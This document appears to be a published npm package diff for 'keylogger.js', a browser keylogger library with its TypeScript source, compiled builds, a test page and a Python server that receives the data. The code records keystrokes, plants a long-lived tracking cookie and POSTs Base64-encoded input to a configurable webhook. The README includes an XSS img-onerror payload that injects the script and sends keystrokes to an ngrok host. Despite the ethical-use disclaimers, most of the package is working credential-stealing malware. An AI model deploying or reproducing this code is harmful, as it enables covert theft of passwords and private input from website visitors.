@mihnea.dev/keylogger.js 0.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2024 Mihnea-Octavian Manolache
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,108 @@
1
+ # Keylogger.js
2
+ **Keylogger.js** is a lightweight JavaScript library for ethical hacking, penetration testing, and security research. It allows security professionals to capture keyboard events and send them securely to a specified webhook for analysis. Designed for ethical use only, this library serves as a tool for demonstrating vulnerabilities in applications and enhancing system security.
3
+
4
+ ## ⚠️ Disclaimer
5
+ This library is intended **only for ethical purposes** such as security research and testing within authorized environments. Unauthorized use, including any malicious or illegal intent, is strictly prohibited. The author disclaims all responsibility for any misuse of this software.
6
+
7
+ ## Features
8
+ - **Lightweight**: keylogger.js is a lightweight library that can be easily integrated into any web application.
9
+ - **Secure**: All captured keyboard events are base64 encoded and sent securely to a specified webhook.
10
+ - **Customizable**: Developers can customize the library to suit their needs, including changing the webhook URL and adding additional functionality.
11
+ - **Modular**: Built using modern TypeScript for robust type safety and developer experience.
12
+
13
+ ## Installation
14
+ You can install **Keylogger.js** via npm or yarn:
15
+
16
+ ```bash
17
+ # Using bun
18
+ bun install @mihnea.dev/keylogger.js
19
+ # Using npm
20
+ npm install @mihnea.dev/keylogger.js
21
+ # Using yarn
22
+ yarn add @mihnea.dev/keylogger.js
23
+ ```
24
+
25
+ ## Usage
26
+ To use keylogger.js in your web application, you need to import the library and initialize it with your webhook URL:
27
+
28
+ ```typescript
29
+ import Keylogger from '@mihnea.dev/keylogger.js';
30
+
31
+ /* Initialize the Keylogger with your webhook */
32
+ const _: Keylogger = new Keylogger('https://your-webhook-url.com');
33
+ ```
34
+
35
+ Should you embed the script directly in your HTML file, you can initialize the library as follows:
36
+
37
+ ```html
38
+ <script>
39
+ import Keylogger from 'https://unpkg.com/@mihnea.dev/keylogger.js/dist/index.js';
40
+ const keylogger = new Keylogger('https://your-webhook-url.com', false);
41
+ console.log('Keylogger initialized:', keylogger);
42
+ </script>
43
+ ```
44
+
45
+ ## Configuration Options
46
+ Keylogger.js supports several configuration options that can be passed to the constructor:
47
+ - `webhook`: The URL to which the captured keyboard events will be sent.
48
+ - `logAll`: A boolean flag indicating whether all keyboard events should be logged (default: `false`).
49
+
50
+ ## Example
51
+ This example demonstrates how to use Keylogger.js in a controlled testing environment by integrating the Python server, exposing it using Ngrok, and embedding the library into a vulnerable webpage to simulate XSS.
52
+
53
+ ### 1. Start the Python Webhook Server
54
+ The Python server included in [`./examples/server.py`](./examples/server.py) listens for incoming requests from Keylogger.js. It decodes Base64-encoded payloads and logs them. To start the server, run the following command:
55
+
56
+ ```bash
57
+ python3 examples/server.py
58
+ ```
59
+
60
+ ### 2. Expose the Server Using Ngrok
61
+ To expose the Python server to the internet, use Ngrok. Run the following command to start an HTTP tunnel:
62
+
63
+ ```bash
64
+ ngrok http 3000
65
+ ```
66
+
67
+ ### 3. Embed Keylogger.js in a Webpage
68
+ This step demonstrates embedding Keylogger.js into a vulnerable webpage as part of an XSS simulation.
69
+
70
+ ```html
71
+ <img src="invalid.jpg" onerror="
72
+ const script = document.createElement('script');
73
+ script.src = 'https://your-cdn-link.com/keylogger.js';
74
+ document.body.appendChild(script);
75
+ script.onload = () => {
76
+ const _ = new Keylogger('https://<random-id>.ngrok.io', true);
77
+ };
78
+ ">
79
+ ```
80
+
81
+ ### Observing Results:
82
+ 1. The Keylogger.js library captures keystrokes and sends them to the webhook.
83
+ 2. The Python server decodes the Base64-encoded payload and logs the captured keystrokes.
84
+ ```bash
85
+ Decoded Payload: {"type":"keypress","value":"a","session":{...}}
86
+ Parsed JSON:
87
+ {
88
+ "type": "keypress",
89
+ "value": "a",
90
+ "session": {
91
+ "id": "unique-session-id",
92
+ "created_at": "2024-11-29T18:00:00Z",
93
+ "user_agent": "Mozilla/5.0",
94
+ "session_cookie": "master-kw-session"
95
+ }
96
+ }
97
+ ```
98
+
99
+ ## Security Considerations
100
+ - Ensure you use this library only in authorized and controlled environments.
101
+ - Do not use this tool for any illegal or unauthorized activity.
102
+ - Always notify and gain consent from stakeholders before testing.
103
+
104
+ ## Contributing
105
+ Contributions are welcome! Feel free to open issues or submit pull requests to improve the library.
106
+
107
+ ## License
108
+ This project is licensed under the MIT License. See the [LICENSE](./LICENSE) file for more information.
package/dist/index.cjs ADDED
@@ -0,0 +1,138 @@
1
+ "use strict";
2
+ var __defProp = Object.defineProperty;
3
+ var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
4
+ var __getOwnPropNames = Object.getOwnPropertyNames;
5
+ var __hasOwnProp = Object.prototype.hasOwnProperty;
6
+ var __export = (target, all) => {
7
+ for (var name in all)
8
+ __defProp(target, name, { get: all[name], enumerable: true });
9
+ };
10
+ var __copyProps = (to, from, except, desc) => {
11
+ if (from && typeof from === "object" || typeof from === "function") {
12
+ for (let key of __getOwnPropNames(from))
13
+ if (!__hasOwnProp.call(to, key) && key !== except)
14
+ __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
15
+ }
16
+ return to;
17
+ };
18
+ var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
19
+
20
+ // src/index.ts
21
+ var src_exports = {};
22
+ __export(src_exports, {
23
+ default: () => src_default
24
+ });
25
+ module.exports = __toCommonJS(src_exports);
26
+
27
+ // src/lib/Keylogger.ts
28
+ var Keylogger = class {
29
+ /** Webhook URL to send captured data. */
30
+ webhook;
31
+ /** Current session information. */
32
+ session = null;
33
+ /** Array to store captured keystrokes. */
34
+ keys = [];
35
+ /**
36
+ * Constructs a new instance of the Keylogger.
37
+ *
38
+ * @param { string } webhook - URL of the webhook to send captured data.
39
+ * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
40
+ */
41
+ constructor(webhook, logAll) {
42
+ this.webhook = webhook;
43
+ const masterSession = this.getOrCreateMasterSession();
44
+ this.initializeSession(masterSession);
45
+ logAll ? this.logAll() : this.logOnEnter();
46
+ }
47
+ /**
48
+ * Retrieves or creates a persistent "master-kw-cookie" cookie.
49
+ * @returns The value of the "master-kw-session" cookie.
50
+ */
51
+ getOrCreateMasterSession() {
52
+ const cookieName = "master-kw-session";
53
+ const existingCookie = document.cookie.split("; ").find((row) => row.startsWith(`${cookieName}=`));
54
+ if (existingCookie) {
55
+ return existingCookie.split("=")[1];
56
+ }
57
+ const newMasterSession = crypto.randomUUID();
58
+ const expires = /* @__PURE__ */ new Date();
59
+ expires.setFullYear(expires.getFullYear() + 100);
60
+ document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
61
+ return newMasterSession;
62
+ }
63
+ /**
64
+ * Initializes the session with metadata.
65
+ * @param { string } session_cookie - The persistent session cookie value.
66
+ */
67
+ async initializeSession(session_cookie) {
68
+ this.session = await this.createSession(session_cookie);
69
+ }
70
+ /**
71
+ * Creates a new session object with metadata.
72
+ * @param { string } session_cookie - The persistent session cookie value.
73
+ * @returns { Promise<ISession> } A Promise resolving to the session object.
74
+ */
75
+ async createSession(session_cookie) {
76
+ const id = crypto.randomUUID();
77
+ const created_at = /* @__PURE__ */ new Date();
78
+ const user_agent = navigator.userAgent;
79
+ return { id, created_at, user_agent, session_cookie };
80
+ }
81
+ /**
82
+ * Sends captured data to the webhook along with the session information.
83
+ * NOTE: Data is encoded in Base64 to prevent interception.
84
+ *
85
+ * @param payload - The data payload to send.
86
+ */
87
+ async sendToWebhook(payload) {
88
+ if (!this.session) return;
89
+ const body = btoa(JSON.stringify({ ...payload, session: this.session }));
90
+ try {
91
+ const response = await fetch(this.webhook, {
92
+ method: "POST",
93
+ headers: {
94
+ "Content-Type": "text/plain"
95
+ },
96
+ body
97
+ });
98
+ if (!response.ok) {
99
+ console.error(btoa(response.statusText));
100
+ }
101
+ } catch (e) {
102
+ console.error(btoa(e.toString()));
103
+ }
104
+ }
105
+ /**
106
+ * Logs all keypress events and sends each key to the webhook.
107
+ */
108
+ logAll() {
109
+ document.addEventListener("keydown", (event) => {
110
+ const key = event.key;
111
+ this.keys.push(key);
112
+ this.sendToWebhook({
113
+ type: "keypress",
114
+ value: key
115
+ });
116
+ });
117
+ }
118
+ /**
119
+ * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
120
+ */
121
+ logOnEnter() {
122
+ document.addEventListener("keydown", (event) => {
123
+ if (event.key === "Enter") {
124
+ const value = this.keys.join("");
125
+ this.keys = [];
126
+ this.sendToWebhook({
127
+ type: "enter",
128
+ value
129
+ });
130
+ } else {
131
+ this.keys.push(event.key);
132
+ }
133
+ });
134
+ }
135
+ };
136
+
137
+ // src/index.ts
138
+ var src_default = Keylogger;
@@ -0,0 +1,71 @@
1
+ /**
2
+ * Interface representing a session's metadata.
3
+ */
4
+ interface ISession {
5
+ /** Unique identifier for the session. */
6
+ id: string;
7
+ /** Timestamp when the session was created. */
8
+ created_at: Date;
9
+ /** User agent string of the client browser. */
10
+ user_agent: string;
11
+ /** Persistent session cookie. */
12
+ session_cookie: string;
13
+ }
14
+ interface IPayload {
15
+ /** Type of event captured. */
16
+ type: "keypress" | "enter";
17
+ /** Value of the captured event. */
18
+ value: string;
19
+ }
20
+
21
+ /**
22
+ * Keylogger class to capture keyboard events and send them to a specified webhook.
23
+ */
24
+ declare class Keylogger {
25
+ /** Webhook URL to send captured data. */
26
+ protected webhook: string;
27
+ /** Current session information. */
28
+ protected session: ISession | null;
29
+ /** Array to store captured keystrokes. */
30
+ protected keys: Array<string>;
31
+ /**
32
+ * Constructs a new instance of the Keylogger.
33
+ *
34
+ * @param { string } webhook - URL of the webhook to send captured data.
35
+ * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
36
+ */
37
+ constructor(webhook: string, logAll?: boolean | undefined);
38
+ /**
39
+ * Retrieves or creates a persistent "master-kw-cookie" cookie.
40
+ * @returns The value of the "master-kw-session" cookie.
41
+ */
42
+ protected getOrCreateMasterSession(): string;
43
+ /**
44
+ * Initializes the session with metadata.
45
+ * @param { string } session_cookie - The persistent session cookie value.
46
+ */
47
+ protected initializeSession(session_cookie: string): Promise<void>;
48
+ /**
49
+ * Creates a new session object with metadata.
50
+ * @param { string } session_cookie - The persistent session cookie value.
51
+ * @returns { Promise<ISession> } A Promise resolving to the session object.
52
+ */
53
+ protected createSession(session_cookie: string): Promise<ISession>;
54
+ /**
55
+ * Sends captured data to the webhook along with the session information.
56
+ * NOTE: Data is encoded in Base64 to prevent interception.
57
+ *
58
+ * @param payload - The data payload to send.
59
+ */
60
+ protected sendToWebhook(payload: IPayload): Promise<void>;
61
+ /**
62
+ * Logs all keypress events and sends each key to the webhook.
63
+ */
64
+ protected logAll(): void;
65
+ /**
66
+ * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
67
+ */
68
+ protected logOnEnter(): void;
69
+ }
70
+
71
+ export { type IPayload, type ISession, Keylogger as default };
@@ -0,0 +1,71 @@
1
+ /**
2
+ * Interface representing a session's metadata.
3
+ */
4
+ interface ISession {
5
+ /** Unique identifier for the session. */
6
+ id: string;
7
+ /** Timestamp when the session was created. */
8
+ created_at: Date;
9
+ /** User agent string of the client browser. */
10
+ user_agent: string;
11
+ /** Persistent session cookie. */
12
+ session_cookie: string;
13
+ }
14
+ interface IPayload {
15
+ /** Type of event captured. */
16
+ type: "keypress" | "enter";
17
+ /** Value of the captured event. */
18
+ value: string;
19
+ }
20
+
21
+ /**
22
+ * Keylogger class to capture keyboard events and send them to a specified webhook.
23
+ */
24
+ declare class Keylogger {
25
+ /** Webhook URL to send captured data. */
26
+ protected webhook: string;
27
+ /** Current session information. */
28
+ protected session: ISession | null;
29
+ /** Array to store captured keystrokes. */
30
+ protected keys: Array<string>;
31
+ /**
32
+ * Constructs a new instance of the Keylogger.
33
+ *
34
+ * @param { string } webhook - URL of the webhook to send captured data.
35
+ * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
36
+ */
37
+ constructor(webhook: string, logAll?: boolean | undefined);
38
+ /**
39
+ * Retrieves or creates a persistent "master-kw-cookie" cookie.
40
+ * @returns The value of the "master-kw-session" cookie.
41
+ */
42
+ protected getOrCreateMasterSession(): string;
43
+ /**
44
+ * Initializes the session with metadata.
45
+ * @param { string } session_cookie - The persistent session cookie value.
46
+ */
47
+ protected initializeSession(session_cookie: string): Promise<void>;
48
+ /**
49
+ * Creates a new session object with metadata.
50
+ * @param { string } session_cookie - The persistent session cookie value.
51
+ * @returns { Promise<ISession> } A Promise resolving to the session object.
52
+ */
53
+ protected createSession(session_cookie: string): Promise<ISession>;
54
+ /**
55
+ * Sends captured data to the webhook along with the session information.
56
+ * NOTE: Data is encoded in Base64 to prevent interception.
57
+ *
58
+ * @param payload - The data payload to send.
59
+ */
60
+ protected sendToWebhook(payload: IPayload): Promise<void>;
61
+ /**
62
+ * Logs all keypress events and sends each key to the webhook.
63
+ */
64
+ protected logAll(): void;
65
+ /**
66
+ * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
67
+ */
68
+ protected logOnEnter(): void;
69
+ }
70
+
71
+ export { type IPayload, type ISession, Keylogger as default };
package/dist/index.js ADDED
@@ -0,0 +1,115 @@
1
+ // src/lib/Keylogger.ts
2
+ var Keylogger = class {
3
+ /** Webhook URL to send captured data. */
4
+ webhook;
5
+ /** Current session information. */
6
+ session = null;
7
+ /** Array to store captured keystrokes. */
8
+ keys = [];
9
+ /**
10
+ * Constructs a new instance of the Keylogger.
11
+ *
12
+ * @param { string } webhook - URL of the webhook to send captured data.
13
+ * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
14
+ */
15
+ constructor(webhook, logAll) {
16
+ this.webhook = webhook;
17
+ const masterSession = this.getOrCreateMasterSession();
18
+ this.initializeSession(masterSession);
19
+ logAll ? this.logAll() : this.logOnEnter();
20
+ }
21
+ /**
22
+ * Retrieves or creates a persistent "master-kw-cookie" cookie.
23
+ * @returns The value of the "master-kw-session" cookie.
24
+ */
25
+ getOrCreateMasterSession() {
26
+ const cookieName = "master-kw-session";
27
+ const existingCookie = document.cookie.split("; ").find((row) => row.startsWith(`${cookieName}=`));
28
+ if (existingCookie) {
29
+ return existingCookie.split("=")[1];
30
+ }
31
+ const newMasterSession = crypto.randomUUID();
32
+ const expires = /* @__PURE__ */ new Date();
33
+ expires.setFullYear(expires.getFullYear() + 100);
34
+ document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
35
+ return newMasterSession;
36
+ }
37
+ /**
38
+ * Initializes the session with metadata.
39
+ * @param { string } session_cookie - The persistent session cookie value.
40
+ */
41
+ async initializeSession(session_cookie) {
42
+ this.session = await this.createSession(session_cookie);
43
+ }
44
+ /**
45
+ * Creates a new session object with metadata.
46
+ * @param { string } session_cookie - The persistent session cookie value.
47
+ * @returns { Promise<ISession> } A Promise resolving to the session object.
48
+ */
49
+ async createSession(session_cookie) {
50
+ const id = crypto.randomUUID();
51
+ const created_at = /* @__PURE__ */ new Date();
52
+ const user_agent = navigator.userAgent;
53
+ return { id, created_at, user_agent, session_cookie };
54
+ }
55
+ /**
56
+ * Sends captured data to the webhook along with the session information.
57
+ * NOTE: Data is encoded in Base64 to prevent interception.
58
+ *
59
+ * @param payload - The data payload to send.
60
+ */
61
+ async sendToWebhook(payload) {
62
+ if (!this.session) return;
63
+ const body = btoa(JSON.stringify({ ...payload, session: this.session }));
64
+ try {
65
+ const response = await fetch(this.webhook, {
66
+ method: "POST",
67
+ headers: {
68
+ "Content-Type": "text/plain"
69
+ },
70
+ body
71
+ });
72
+ if (!response.ok) {
73
+ console.error(btoa(response.statusText));
74
+ }
75
+ } catch (e) {
76
+ console.error(btoa(e.toString()));
77
+ }
78
+ }
79
+ /**
80
+ * Logs all keypress events and sends each key to the webhook.
81
+ */
82
+ logAll() {
83
+ document.addEventListener("keydown", (event) => {
84
+ const key = event.key;
85
+ this.keys.push(key);
86
+ this.sendToWebhook({
87
+ type: "keypress",
88
+ value: key
89
+ });
90
+ });
91
+ }
92
+ /**
93
+ * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
94
+ */
95
+ logOnEnter() {
96
+ document.addEventListener("keydown", (event) => {
97
+ if (event.key === "Enter") {
98
+ const value = this.keys.join("");
99
+ this.keys = [];
100
+ this.sendToWebhook({
101
+ type: "enter",
102
+ value
103
+ });
104
+ } else {
105
+ this.keys.push(event.key);
106
+ }
107
+ });
108
+ }
109
+ };
110
+
111
+ // src/index.ts
112
+ var src_default = Keylogger;
113
+ export {
114
+ src_default as default
115
+ };
@@ -0,0 +1,19 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <title>Keylogger Test</title>
7
+ </head>
8
+ <body>
9
+ <h1>Keylogger Test Page</h1>
10
+ <p>Type something in this page to test the keylogger.</p>
11
+
12
+ <!-- Import Keylogger.js using unpkg -->
13
+ <script type="module">
14
+ import Keylogger from 'https://unpkg.com/@mihnea.dev/keylogger.js/dist/index.js';
15
+ const keylogger = new Keylogger('https://your-webhook-url.com', false);
16
+ console.log('Keylogger initialized:', keylogger);
17
+ </script>
18
+ </body>
19
+ </html>
@@ -0,0 +1,96 @@
1
+ """
2
+ Python Webhook Server for Keylogger Class
3
+
4
+ This Python server acts as a webhook endpoint for the Keylogger class,
5
+ designed to listen for HTTP POST requests on http://0.0.0.0:3000.
6
+ It processes incoming keystroke data sent by the Keylogger, allowing
7
+ you to log, inspect, and respond to the payloads.
8
+
9
+ - The Keylogger sends JSON data containing keystrokes or session information.
10
+ - This server's POST handler (`do_POST`) decodes and prints the payload.
11
+ - If the payload is valid JSON, it logs the structured JSON to the console for inspection.
12
+
13
+ NOTE: In a production environment, you should secure the server with HTTPS, and store the payload
14
+ data securely in a database or log file. This server is for testing and debugging purposes only.
15
+
16
+ Example Payload Sent by Keylogger:
17
+ ---------------------------------
18
+ {
19
+ "type": "keypress",
20
+ "value": "a",
21
+ "session": {
22
+ "id": "unique-session-id",
23
+ "created_at": "2024-11-29T17:30:00Z",
24
+ "user_agent": "Mozilla/5.0",
25
+ "session_cookie": "master-kw-session"
26
+ }
27
+ }
28
+
29
+ How to Use:
30
+ -----------
31
+ 1. Run this server using:
32
+ $ python3 examples/server.py
33
+
34
+ 1.1. You can use ngrok to expose the server to the internet:
35
+ $ ngrok http 3000
36
+
37
+ 2. Configure your Keylogger instance to send keystroke data to the webhook URL:
38
+ e.g., new Keylogger("https://your-ngrok-url.ngrok.io")
39
+ """
40
+
41
+ from http.server import BaseHTTPRequestHandler, HTTPServer
42
+ import json, base64
43
+
44
+ class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
45
+ def do_OPTIONS(self):
46
+ """
47
+ Handle preflight CORS requests.
48
+ """
49
+ self.send_response(200)
50
+ self.send_header("Access-Control-Allow-Origin", "*")
51
+ self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
52
+ self.send_header("Access-Control-Allow-Headers", "Content-Type")
53
+ self.end_headers()
54
+
55
+ def do_POST(self):
56
+ """
57
+ Handle POST requests with raw Base64 payloads.
58
+ """
59
+ # Read the content length from headers
60
+ content_length = int(self.headers.get('Content-Length', 0))
61
+ # Read the incoming POST data (Base64-encoded string)
62
+ base64_payload = self.rfile.read(content_length).decode('utf-8')
63
+
64
+ # Decode Base64-encoded payload
65
+ try:
66
+ decoded_payload = base64.b64decode(base64_payload).decode('utf-8')
67
+ print("Decoded Payload:", decoded_payload)
68
+
69
+ # Try parsing the decoded payload as JSON
70
+ try:
71
+ json_payload = json.loads(decoded_payload)
72
+ print("Parsed JSON Payload:", json.dumps(json_payload, indent=4))
73
+ except json.JSONDecodeError:
74
+ print("Decoded payload is not valid JSON.")
75
+ except Exception as e:
76
+ print("Error decoding Base64 payload:", str(e))
77
+
78
+ # Respond to the client
79
+ self.send_response(200)
80
+ self.send_header("Access-Control-Allow-Origin", "*")
81
+ self.send_header("Content-Type", "application/json")
82
+ self.end_headers()
83
+ self.wfile.write(b'{"status": "success"}')
84
+
85
+ def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler):
86
+ """
87
+ Start the HTTP server on localhost:3000.
88
+ """
89
+ server_address = ('0.0.0.0', 3000)
90
+ httpd = server_class(server_address, handler_class)
91
+ print("Starting server on http://0.0.0.0:3000")
92
+ httpd.serve_forever()
93
+
94
+ if __name__ == "__main__":
95
+ run()
96
+
package/package.json ADDED
@@ -0,0 +1,31 @@
1
+ {
2
+ "name": "@mihnea.dev/keylogger.js",
3
+ "version": "0.0.4",
4
+ "author": "Mihnea Octavian Manolache <mihnea.dev@gmail.com> (https://github.com/mihneamanolache/)",
5
+ "repository": {
6
+ "type": "git",
7
+ "url": "git+https://github.com/mihneamanolache/keylogger.js.git"
8
+ },
9
+ "main": "./dist/cjs/index.js",
10
+ "module": "./dist/esm/index.js",
11
+ "devDependencies": {
12
+ "@types/bun": "latest",
13
+ "tsup": "^8.3.5"
14
+ },
15
+ "peerDependencies": {
16
+ "typescript": "^5.0.0"
17
+ },
18
+ "exports": {
19
+ "./package.json": "./package.json",
20
+ ".": {
21
+ "require": "./dist/index.cjs",
22
+ "import": "./dist/index.mjs"
23
+ }
24
+ },
25
+ "description": "A simple keylogger for the browser. Please use it responsibly!",
26
+ "scripts": {
27
+ "build": "rm -rf ./dist && tsup src/index.ts --format cjs,esm --dts --clean"
28
+ },
29
+ "type": "module",
30
+ "types": "./dist/index.d.ts"
31
+ }
package/src/index.ts ADDED
@@ -0,0 +1,3 @@
1
+ import Keylogger from "./lib/Keylogger";
2
+ export default Keylogger;
3
+ export * from "./lib/Keylogger.types";
@@ -0,0 +1,123 @@
1
+ import type { IPayload, ISession } from "./Keylogger.types";
2
+
3
+ /**
4
+ * Keylogger class to capture keyboard events and send them to a specified webhook.
5
+ */
6
+ export default class Keylogger {
7
+ /** Webhook URL to send captured data. */
8
+ protected webhook: string;
9
+ /** Current session information. */
10
+ protected session: ISession | null = null;
11
+ /** Array to store captured keystrokes. */
12
+ protected keys: Array<string> = [];
13
+
14
+ /**
15
+ * Constructs a new instance of the Keylogger.
16
+ *
17
+ * @param { string } webhook - URL of the webhook to send captured data.
18
+ * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
19
+ */
20
+ constructor(webhook: string, logAll?: boolean | undefined) {
21
+ this.webhook = webhook;
22
+ const masterSession: string = this.getOrCreateMasterSession();
23
+ this.initializeSession(masterSession);
24
+ logAll ? this.logAll() : this.logOnEnter();
25
+ }
26
+
27
+ /**
28
+ * Retrieves or creates a persistent "master-kw-cookie" cookie.
29
+ * @returns The value of the "master-kw-session" cookie.
30
+ */
31
+ protected getOrCreateMasterSession(): string {
32
+ const cookieName: string = "master-kw-session";
33
+ const existingCookie: string | undefined = document.cookie
34
+ .split("; ")
35
+ .find((row) => row.startsWith(`${cookieName}=`));
36
+ if (existingCookie) {
37
+ return existingCookie.split("=")[1];
38
+ }
39
+ const newMasterSession: string = crypto.randomUUID();
40
+ const expires: Date = new Date();
41
+ expires.setFullYear(expires.getFullYear() + 100);
42
+ document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
43
+ return newMasterSession;
44
+ }
45
+
46
+ /**
47
+ * Initializes the session with metadata.
48
+ * @param { string } session_cookie - The persistent session cookie value.
49
+ */
50
+ protected async initializeSession(session_cookie: string): Promise<void> {
51
+ this.session = await this.createSession(session_cookie);
52
+ }
53
+
54
+ /**
55
+ * Creates a new session object with metadata.
56
+ * @param { string } session_cookie - The persistent session cookie value.
57
+ * @returns { Promise<ISession> } A Promise resolving to the session object.
58
+ */
59
+ protected async createSession(session_cookie: string): Promise<ISession> {
60
+ const id: string = crypto.randomUUID();
61
+ const created_at: Date = new Date();
62
+ const user_agent: string = navigator.userAgent;
63
+ return { id, created_at, user_agent, session_cookie };
64
+ }
65
+
66
+ /**
67
+ * Sends captured data to the webhook along with the session information.
68
+ * NOTE: Data is encoded in Base64 to prevent interception.
69
+ *
70
+ * @param payload - The data payload to send.
71
+ */
72
+ protected async sendToWebhook(payload: IPayload): Promise<void> {
73
+ if (!this.session) return;
74
+ const body: string = btoa(JSON.stringify({ ...payload, session: this.session }));
75
+ try {
76
+ const response: Response = await fetch(this.webhook, {
77
+ method: "POST",
78
+ headers: {
79
+ "Content-Type": "text/plain",
80
+ },
81
+ body
82
+ });
83
+ if (!response.ok) {
84
+ console.error(btoa(response.statusText));
85
+ }
86
+ } catch (e: unknown) {
87
+ console.error(btoa((<Error>e).toString()));
88
+ }
89
+ }
90
+
91
+ /**
92
+ * Logs all keypress events and sends each key to the webhook.
93
+ */
94
+ protected logAll(): void {
95
+ document.addEventListener("keydown", (event: KeyboardEvent) => {
96
+ const key: string = event.key;
97
+ this.keys.push(key);
98
+ this.sendToWebhook({
99
+ type: "keypress",
100
+ value: key,
101
+ });
102
+ });
103
+ }
104
+
105
+ /**
106
+ * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
107
+ */
108
+ protected logOnEnter(): void {
109
+ document.addEventListener("keydown", (event: KeyboardEvent) => {
110
+ if (event.key === "Enter") {
111
+ const value: string = this.keys.join("");
112
+ this.keys = [];
113
+ this.sendToWebhook({
114
+ type: "enter",
115
+ value,
116
+ });
117
+ } else {
118
+ this.keys.push(event.key);
119
+ }
120
+ });
121
+ }
122
+ }
123
+
@@ -0,0 +1,20 @@
1
+ /**
2
+ * Interface representing a session's metadata.
3
+ */
4
+ export interface ISession {
5
+ /** Unique identifier for the session. */
6
+ id: string;
7
+ /** Timestamp when the session was created. */
8
+ created_at: Date;
9
+ /** User agent string of the client browser. */
10
+ user_agent: string;
11
+ /** Persistent session cookie. */
12
+ session_cookie: string;
13
+ }
14
+
15
+ export interface IPayload {
16
+ /** Type of event captured. */
17
+ type: "keypress" | "enter";
18
+ /** Value of the captured event. */
19
+ value: string;
20
+ }
package/tsconfig.json ADDED
@@ -0,0 +1,27 @@
1
+ {
2
+ "compilerOptions": {
3
+ // Enable latest features
4
+ "lib": ["ESNext", "DOM"],
5
+ "target": "ESNext",
6
+ "module": "ESNext",
7
+ "moduleDetection": "force",
8
+ "jsx": "react-jsx",
9
+ "allowJs": true,
10
+
11
+ // Bundler mode
12
+ "moduleResolution": "bundler",
13
+ "allowImportingTsExtensions": true,
14
+ "verbatimModuleSyntax": true,
15
+
16
+ // Best practices
17
+ "strict": true,
18
+ "skipLibCheck": true,
19
+ "noFallthroughCasesInSwitch": true,
20
+ "declaration": true,
21
+
22
+ // Some stricter flags (disabled by default)
23
+ "noUnusedLocals": false,
24
+ "noUnusedParameters": false,
25
+ "noPropertyAccessFromIndexSignature": false
26
+ }
27
+ }